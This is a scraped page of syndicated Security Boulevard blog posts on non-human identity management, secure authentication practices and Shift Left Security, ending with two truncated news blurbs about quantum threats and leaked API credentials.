<li><strong>Enhanced Visibility and Control:</strong> A centralized view of access management and governance is essential for maintaining control.</li> <li><strong>Cost Savings:</strong> Automating secrets rotation and NHIs decommissioning can significantly reduce operational costs.</li> </ul><p>For organizations aiming to thrive in dynamic markets, the ability to leverage NHIs is invaluable. These machine identities are not just about security; they are about enabling innovation while maintaining the strictest security standards.</p><h3>The Path to a Flexible Cybersecurity Strategy</h3><p>Embracing a flexible approach to cybersecurity is vital for organizations operating. While we anticipate cybersecurity trends for the future, it’s clear that adaptable NHIs will play a leading role. By integrating these strategies, companies can protect their digital assets and ensure their systems remain resilient against evolving threats.</p><p>For further insights, consider exploring <a href="https://entro.security/blog/cybersecurity-predictions-2025/">cybersecurity predictions for 2025</a> to understand how adaptive NHIs will shape the future of digital security.</p><p>Understanding the impact of NHIs is essential for any organization committed to safeguarding its digital future. By prioritizing adaptive NHI management, organizations can navigate the complexities of modern cybersecurity with confidence and strategic foresight.</p><h3>Expanding Beyond Traditional Security Solutions</h3><p>How can organizations address the complex cybersecurity challenges posed by the rise of digital transformation? While traditional security measures have focused heavily on human users and their credentials, the exponential growth of digital services and interconnected devices necessitates a shift in focus to include non-human elements like NHIs. This approach not only enhances security but also adapts to the realities of a machine-dominated digital.</p><p>Traditional cybersecurity solutions often fall short when managing the dynamic range and scope of machine identities. Microservices, and automation processes, the number of NHIs can surpass human identities by orders of magnitude. This rapid growth increases the attack surface and introduces new potential vulnerabilities. Hence, an assertive focus on NHIs can significantly mitigate risks stemming from unchecked machine identity sprawl.</p><h3>Holistic Security Protocols</h3><p>How do NHIs integrate into a larger cybersecurity strategy? Instead of viewing NHIs as standalone solutions, the most effective security protocols place them. This involves integrating NHIs with existing security measures, thus ensuring comprehensive coverage across various domains. A holistic approach incorporates multiple tactics to address the overarching needs of organizational security.</p><p>Such strategies involve:</p><ul> <li><strong>Cross-Department Collaboration:</strong> Foster communication between departments such as DevOps, security, and R&amp;D to ensure a coordinated approach to NHI management.</li> <li><strong>Automation of Routine Processes:</strong> Use automated tools for tasks like secrets rotation and monitoring to minimize human error and reduce manual workload.</li> <li><strong>Continuous Monitoring and Auditing:</strong> Implement systems to provide real-time data on NHIs, ensuring immediate identification and remediation of unauthorized changes or anomalies.</li> </ul><p>Effective integration of these practices not only streamlines organizational processes but also enhances the efficacy of NHIs as components of a fortified security strategy.</p><h3>Why Context Matters in Security Decisions</h3><p>Can a one-size-fits-all security solution effectively address diverse threats? The answer lies in context-aware security strategies that take into account the unique environment of each organization. NHIs provide insights into user behavior, system conditions, and potential threat vectors, enabling security teams to tailor responses to specific scenarios.</p><p>Context-aware security allows professionals to:</p><ul> <li><strong>Identify Behavioral Anomalies:</strong> By understanding typical user behaviors and machine interactions, security teams can recognize and investigate deviations promptly.</li> <li><strong>Pinpoint Condition-Based Threats:</strong> Environmental factors, such as network traffic volumes or system health indicators, can highlight conditions ripe for exploitation, prompting pre-emptive measures.</li> </ul><p>Advanced systems that leverage machine learning can further enrich context-aware capabilities, facilitating proactive security measures rather than reactive ones. For more, explore <a href="https://entro.security/blog/iast-vs-rasp-and-their-blindspots-in-non-human-identity-management/">IAST vs. RASP and Their Blindspots in Non-Human Identity Management</a> for additional insights on proactive strategies.</p><h3>Industry-Specific Applications of NHIs</h3><p>What are the implications of NHIs across different industry sectors? Each sector offers unique environments and challenges, making NHIs critical for addressing specific risks and regulatory requirements. For instance, stringent compliance demands within the healthcare and financial industries necessitate robust management of machine identities to handle sensitive patient or customer data securely.</p><p>In healthcare, NHIs play an essential role in safeguarding electronic health records while also enabling secure collaboration among healthcare providers. Meanwhile, the financial sector utilizes NHIs to facilitate secure transactions and prevent fraud, maintaining the integrity of critical financial systems.</p><p>Industries reliant on cloud-based solutions also benefit significantly from NHIs. By adopting an integrated approach to managing machine identities, these sectors can better control access to sensitive data and maintain compliance with industry regulations. Visit <a href="https://entro.security/blog/prioritization-of-nhi-remediation-in-cloud-environments-2/">Prioritization of NHI Remediation in Cloud Environments</a> to learn more about aligning NHI strategies with industry-specific needs.</p><h3>Shaping a Future-Proof Defense Strategy</h3><p>What steps can organizations take to create a cybersecurity strategy that anticipates future challenges? Given the rapid advancements in digital technology and the growing sophistication of cyber threats, a forward-thinking approach is indispensable. By integrating flexible cybersecurity strategies equipped to evolve alongside technological innovations, businesses can stay resilient against emerging threats.</p><p>Key components of a future-proofed strategy include:</p><ul> <li><strong>Research and Development Investments:</strong> Staying abreast of advancements in NHI technologies through continuous R&amp;D ensures organizations remain at the cutting edge of security solutions.</li> <li><strong>Agility in Policy Adaptation:</strong> Regularly revisiting and updating security policies to reflect changing technological and emerging threat vectors is essential for maintaining robust security postures.</li> </ul><p>By adopting a foresighted approach, organizations not only ensure robust current defenses but also lay the foundation for continued security amidst future uncertainties. Delve into how NHIs contribute to compliance and go beyond basic security needs in <a href="https://entro.security/blog/nhi-management-a-key-element-of-soc-2-compliance/">NHI Management: A Key Element Of SOC 2 Compliance</a>.</p><p>When organizations continue to embrace digital transformation, the strategic importance of managing Non-Human Identities within cybersecurity frameworks cannot be understated. Through meticulous management of NHIs, businesses can strengthen their defenses, ensure compliance, and secure a competitive edge.</p><p>The post <a href="https://entro.security/how-adaptable-are-nhis-in-dynamic-markets/">How adaptable are NHIs in dynamic markets?</a> appeared first on <a href="https://entro.security/">Entro</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/how-adaptable-are-nhis-in-dynamic-markets/" data-a2a-title="How adaptable are NHIs in dynamic markets?"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-adaptable-are-nhis-in-dynamic-markets%2F&amp;linkname=How%20adaptable%20are%20NHIs%20in%20dynamic%20markets%3F" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-adaptable-are-nhis-in-dynamic-markets%2F&amp;linkname=How%20adaptable%20are%20NHIs%20in%20dynamic%20markets%3F" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-adaptable-are-nhis-in-dynamic-markets%2F&amp;linkname=How%20adaptable%20are%20NHIs%20in%20dynamic%20markets%3F" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-adaptable-are-nhis-in-dynamic-markets%2F&amp;linkname=How%20adaptable%20are%20NHIs%20in%20dynamic%20markets%3F" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-adaptable-are-nhis-in-dynamic-markets%2F&amp;linkname=How%20adaptable%20are%20NHIs%20in%20dynamic%20markets%3F" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://entro.security/">Entro</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Alison Mack">Alison Mack</a>. Read the original post at: <a href="https://entro.security/how-adaptable-are-nhis-in-dynamic-markets/">https://entro.security/how-adaptable-are-nhis-in-dynamic-markets/</a> </p>

<p><img decoding="async" src="https://cdn.pseo.one/67b62b766899109fe72fb789/687e6cccf6fe799d28851ea0/69c79f80b4e689ddb9181f50/content-image/107c2f32-a237-4519-97c3-22e1f65dbd91.webp" alt="107c2f32-a237-4519-97c3-22e1f65dbd91"></p><p>Source: <a href="https://www.freepik.com/free-photo/hand-touching-tablet_926560.htm#fromView=search&amp;page=2&amp;position=1&amp;uuid=aa7b6250-2f07-4de9-99fb-fd4edea868e0&amp;query=software+authentication">freepik</a></p><p>Authentication failures remain one of the leading causes of data breaches. From credential stuffing to session hijacking, most successful attacks exploit weaknesses in implementation—not just flaws in design. For developers, this makes authentication a critical part of secure software development, directly impacting application integrity, API security, and user trust.</p><p>Modern authentication is no longer limited to usernames and passwords. Developers must account for evolving standards such as passkeys and WebAuthn, federated identity protocols like OAuth and OpenID Connect, and token-based systems such as JWT. Each introduces its own implementation challenges, from managing secure auth flows to preventing token misuse and ensuring proper validation across services.</p><p>Building secure authentication requires more than choosing the right protocol—it demands careful handling of session management, secure storage, and defense against common attack vectors. Poor implementation decisions at the development stage can expose entire systems, making authentication a primary security boundary rather than just a feature.</p><h2>Token-Based Authentication Risks in Modern Apps</h2><p>Token-based authentication, especially using JWT, is widely adopted for its scalability and flexibility—but it comes with critical risks if implemented incorrectly. Common issues include token leakage through insecure channels, improper storage in places like localStorage, and the absence of token rotation or expiration strategies. Without safeguards, attackers can reuse stolen tokens to gain persistent unauthorized access, bypassing traditional authentication controls.</p><h2>Why Authentication is a High-Risk Component</h2><p>First off, why is so much emphasis placed on authentication as part of software development? Authentication protocols serve as the primary gatekeepers of sensitive data and information, including codes, user details, and more. Failures in this system can allow unauthorized personnel or attackers to steal sensitive credentials. </p><p>Moreover, given how quickly security threats are evolving, networks can suffer from brute-force attacks, credential stuffing, and phishing. Strong authentication protocols are designed to address such sophisticated attacks.</p><p>Building reliable authentication systems requires strong engineering practices. Many teams invest in <a href="https://enterprisemonkey.com.au/services/software-development/">secure software development</a> processes to ensure login flows, token handling, and user sessions are protected from common vulnerabilities.</p><h2>Common Authentication Vulnerabilities</h2><p>Speaking of vulnerabilities, here are some common examples:</p><p><strong>Weak credential management:</strong> Using weak or common passwords can put sensitive data at risk. Attackers could succeed in brute-force and dictionary attacks.</p><p><strong>Broken session management:</strong> This occurs when session tokens are not invalidated upon logout or have excessively long lifetimes. The ultimate result is session hijacking. </p><p><strong>Lack of multi-factor authentication:</strong> Strong passwords alone are not enough to protect software. This is why multi-factor authentication (MFA) matters.</p><p><strong>LDAP or SQL injection:</strong> Malicious actors could manipulate database queries to bypass the authentication check entirely.</p><h2>Secure Coding Practices for Login Systems</h2><p>Ready to build secure authentication protocols and software development systems? Follow these coding practices for login systems:</p><ul> <li> <p>Enforce strong password policies. Passwords should contain multiple characters, including special characters. </p> </li> <li> <p>Avoid weak or obsolete algorithms, such as MD5 or SHA1.</p> </li> <li> <p>Add multi-factor authentication to provide an additional layer of security.</p> </li> <li> <p>Use temporary, cryptographically secure tokens with short expiration times and one-time use functionality.</p> </li> <li> <p>Ensure all login credentials are submitted over encrypted HTTPS connections.</p> </li> <li> <p>Use safe error messages. For instance, the system could display a generic error message rather than specific ones that indicate whether a username exists.</p> </li> </ul><h2>Role of Secure Software Development in Authentication Security</h2><p>Secure software development plays a critical role in authentication security by embedding protective measures directly into the Software Development Life Cycle (SDLC). </p><p>The result? Robust authentication through secure coding, threat modeling, and testing. This is necessary to prevent credential theft, unauthorized access, and session hijacking. This proactive approach reduces the risk of breaches and ensures compliance with security standards.</p><h2>Best Practices for Modern SaaS Apps</h2><p>For modern SaaS apps, a <em>never-trust, always-verify</em> approach is required. Here are some best authentication practices that should be followed for secure modern SaaS app development:</p><ul> <li>Mandate MFA. </li> <li>Consider password-less authentication. This could mean using passkeys. </li> <li>Implement short-lived access tokens and refresh-token rotation to minimize the impact of stolen tokens. </li> <li>Implement granular roles to ensure users only have the permissions necessary for their role.</li> </ul><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/secure-authentication-starts-with-secure-software-development/" data-a2a-title="Secure Authentication Starts With Secure Software Development"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecure-authentication-starts-with-secure-software-development%2F&amp;linkname=Secure%20Authentication%20Starts%20With%20Secure%20Software%20Development" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecure-authentication-starts-with-secure-software-development%2F&amp;linkname=Secure%20Authentication%20Starts%20With%20Secure%20Software%20Development" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecure-authentication-starts-with-secure-software-development%2F&amp;linkname=Secure%20Authentication%20Starts%20With%20Secure%20Software%20Development" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecure-authentication-starts-with-secure-software-development%2F&amp;linkname=Secure%20Authentication%20Starts%20With%20Secure%20Software%20Development" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecure-authentication-starts-with-secure-software-development%2F&amp;linkname=Secure%20Authentication%20Starts%20With%20Secure%20Software%20Development" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://mojoauth.com/blog">MojoAuth Blog - Passwordless Authentication &amp;amp; Identity Solutions</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by MojoAuth Blog - Passwordless Authentication &amp; Identity Solutions">MojoAuth Blog - Passwordless Authentication &amp; Identity Solutions</a>. Read the original post at: <a href="https://mojoauth.com/blog/secure-authentication-software-development">https://mojoauth.com/blog/secure-authentication-software-development</a> </p>

<p>Gartner predicts that by 2028, cloud computing will be a core business necessity, with global spending expected to surpass $1 trillion. As organizations continue to adopt cloud-native development to build and deliver innovative solutions, the demand for stronger application security (AppSec) practices is also on the rise. Traditionally, security has been addressed in the later stages of the <a href="https://kratikal.com/sdlc-gap-analysis"><mark class="has-inline-color has-luminous-vivid-orange-color">software development lifecycle (SDLC)</mark></a><mark class="has-inline-color has-luminous-vivid-orange-color">.</mark> This makes fixing vulnerabilities, misconfigurations, and other issues more complex, time-consuming, and costly. This reactive approach drives costs, delays, missed threats, and team friction. This is where Shift Left Security comes into play, a transformative approach that integrates security from the very beginning of the SDLC. Embedding security early reduces time, cost, and risk by stopping vulnerabilities before production.</p><p>In this guide, we’ll explore Shift Left Security in detail, covering what it is, why it’s critical, and how organizations can successfully implement it.</p><h2 class="wp-block-heading"><strong>Shift Left Security: A Quick Insight</strong></h2><p>Shift Left Security is a cloud security approach centered on integrating security into the software development process. The word comes from the SDLC, where development starts early (left), and security was traditionally added later (right). Shifting left embeds security early in the SDLC, not as an afterthought. This approach also places greater responsibility on developers to actively contribute to application security.</p><div class="wp-block-image"> <figure class="aligncenter size-large"><img fetchpriority="high" decoding="async" width="1024" height="631" src="https://kratikal.com/blog/wp-content/uploads/2026/03/shift-left-security-1024x631.jpg" alt="shift left security" class="wp-image-14913" srcset="https://kratikal.com/blog/wp-content/uploads/2026/03/shift-left-security-1024x631.jpg 1024w, https://kratikal.com/blog/wp-content/uploads/2026/03/shift-left-security-300x185.jpg 300w, https://kratikal.com/blog/wp-content/uploads/2026/03/shift-left-security-150x92.jpg 150w, https://kratikal.com/blog/wp-content/uploads/2026/03/shift-left-security-768x473.jpg 768w, https://kratikal.com/blog/wp-content/uploads/2026/03/shift-left-security.jpg 1367w" sizes="(max-width: 1024px) 100vw, 1024px"></figure> </div><p>The concept of Shift Left Security has gained momentum alongside the rise of DevOps, which emphasizes faster and more efficient software delivery through automation. As release cycles became shorter, organizations recognized the importance of integrating security directly into the development process. </p><h3 class="wp-block-heading"><strong>Importance of Shift Left Security</strong></h3><p>Shift Left Security enables organizations to detect and address threats early in the SDLC, lowering remediation costs, strengthening security awareness, and improving team collaboration. In cloud environments, Shift Left Security integrates security and compliance early in development, ensuring applications are secure by design and enabling a proactive approach.</p><ul class="wp-block-list"> <li><strong>Improved Application Security</strong></li> </ul><p>The shift left approach identifies potential vulnerabilities and cloud security risks early in the development process by analyzing application code at initial stages. Detecting and resolving issues before deployment in cloud environments significantly lowers the risk of cyberattacks and data breaches.</p><ul class="wp-block-list"> <li><strong>Cost-Efficient Remediation</strong></li> </ul><p>Addressing security issues after deployment can result in increased technical debt and higher remediation costs. By adopting a shift left approach, vulnerabilities are identified and resolved early, making remediation more efficient and cost-effective.</p><ul class="wp-block-list"> <li><strong>Enhanced Developer Awareness</strong></li> </ul><p>Engaging developers in security from the early stages helps them build essential security skills and gain a deeper understanding of common vulnerabilities and threats. This results in improved coding practices and more secure applications.</p><p>Shift left helps organizations establish an application security program that integrates seamlessly into modern development workflows.</p><h3 class="wp-block-heading"><strong>Principles of Shift Left Security</strong></h3><p>Integrating cloud-native security practices across every stage of application development and deployment, from design to runtime, ensures secure operations. </p><h4 class="wp-block-heading"><strong>Integration:</strong></h4><p>Shift left integrates security checks into CI/CD pipelines, code reviews, and testing stages. To achieve multi-cloud security, organizations must consistently apply and embed security practices across the entire development lifecycle, ensuring protection for applications running on diverse cloud platforms.</p><h4 class="wp-block-heading"><strong>Automation:</strong></h4><p>Using automated tools for continuous vulnerability assessment enables early detection of security issues during development. Solutions like Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) can be integrated into the SDLC to deliver real-time security insights.</p><h4 class="wp-block-heading"><strong>Collaboration:</strong></h4><p>Close collaboration between development, QA, and security teams fosters a shared responsibility for application security. Eliminating silos encourages open communication, enables collaborative problem-solving, and accelerates the resolution of security issues.</p><h3 class="wp-block-heading"><strong>Industry Case Studies and Insights</strong></h3><p>Many organizations have successfully adopted Shift Left Security, integrating security early in the development process, to strengthen their overall security posture.</p><h4 class="wp-block-heading"><strong>Capital One</strong></h4><p>After experiencing a major data breach in 2019, Capital One strengthened its security posture by integrating automated security checks into its CI/CD pipeline. This proactive strategy enabled early detection and remediation of vulnerabilities during development, reducing risks and avoiding expensive rework. Their focus on embedding security into development has since become a benchmark in the financial sector.</p><h4 class="wp-block-heading"><strong>Netflix</strong></h4><p>Netflix follows a “paved road” approach to software development by embedding security testing and monitoring directly into its workflows. By enabling engineers to take ownership of security from the start, the company leverages Software Composition Analysis (SCA) tools to identify vulnerable open-source dependencies early. This proactive strategy has significantly reduced security risks associated with third-party libraries, highlighting the value of early, automated security practices.</p><h3 class="wp-block-heading"><strong>Strategies for Effective Implementation of Shift Left Security</strong></h3><p>Building a cloud security architecture requires consistent protection across all cloud environments, and adopting a shift left approach is a crucial step in that direction.</p><p>A successful shift left strategy starts with aligning security policies with existing development workflows. Clear and well-defined security requirements should guide secure coding practices, vulnerability management, and collaboration across teams.</p><p>Equipping developers with the right knowledge is equally important. Regular training on secure coding, common vulnerabilities, and effective use of security tools helps foster a security-first mindset and encourages continuous improvement.</p><p>Finally, integrating automated security testing such as SAST and DAST into CI/CD pipelines enables early vulnerability detection. This allows developers to identify and remediate issues quickly without disrupting workflows or delaying release cycles.</p><h3 class="wp-block-heading"><strong>Conclusion</strong></h3><p>Shift Left Security is no longer a forward-thinking concept; it has become a critical requirement for organizations building and deploying applications in cloud-native environments. As development cycles accelerate and threat landscapes evolve, embedding security early in the SDLC is essential to staying resilient and competitive. Proactively identifying and addressing vulnerabilities early in development reduces risks, lowers remediation costs, and eliminates the inefficiencies of reactive security practices. More importantly, Shift Left Security fosters a culture of shared responsibility, where developers, security, and operations teams collaborate to build secure applications from the ground up.</p><h3 class="wp-block-heading">FAQs</h3><div class="schema-how-to wp-block-yoast-how-to-block"> <p class="schema-how-to-description"> </p><ol class="schema-how-to-steps"> <li class="schema-how-to-step" id="how-to-step-1774606715194"><strong class="schema-how-to-step-name"><strong>What is the shift left approach?</strong><br></strong> <p class="schema-how-to-step-text">Shift Left focuses on identifying and preventing defects early in the software development lifecycle. It emphasizes improving quality by moving security and testing activities to the earliest possible stages. In practice, Shift Left testing means conducting testing much earlier in the development process.</p> </li> <li class="schema-how-to-step" id="how-to-step-1774607079887"><strong class="schema-how-to-step-name"><strong>What is the concept of shift left?</strong></strong> <p class="schema-how-to-step-text">Shift-left involves introducing testing, quality checks, and feedback loops early in the SDLC. Rather than uncovering issues during final testing, when fixes are costly and time-consuming. </p> </li> <li class="schema-how-to-step" id="how-to-step-1774607091320"><strong class="schema-how-to-step-name"><strong>What are the four types of shift-left testing?</strong></strong> <p class="schema-how-to-step-text">These are commonly categorized as traditional, incremental, Agile/DevOps, and model-based shift-left testing approaches.</p> </li> </ol> </div><p>The post <a href="https://kratikal.com/blog/what-is-shift-left-security/">What is Shift Left Security?</a> appeared first on <a href="https://kratikal.com/blog">Kratikal Blogs</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/what-is-shift-left-security/" data-a2a-title="What is Shift Left Security?"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-is-shift-left-security%2F&amp;linkname=What%20is%20Shift%20Left%20Security%3F" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-is-shift-left-security%2F&amp;linkname=What%20is%20Shift%20Left%20Security%3F" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-is-shift-left-security%2F&amp;linkname=What%20is%20Shift%20Left%20Security%3F" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-is-shift-left-security%2F&amp;linkname=What%20is%20Shift%20Left%20Security%3F" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-is-shift-left-security%2F&amp;linkname=What%20is%20Shift%20Left%20Security%3F" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://kratikal.com/blog/">Kratikal Blogs</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Shikha Dhingra">Shikha Dhingra</a>. Read the original post at: <a href="https://kratikal.com/blog/what-is-shift-left-security/">https://kratikal.com/blog/what-is-shift-left-security/</a> </p>

Google says that the quantum apocalypse that could break internet security as we know it is coming sooner than it had realised. For years, computer experts have been worrying that once workable quan… [+1488 chars]

Computer security boffins have conducted an analysis of 10 million websites and found almost 2,000 API credentials strewn across 10,000 webpages. The researchers detail their findings in a preprint … [+3644 chars]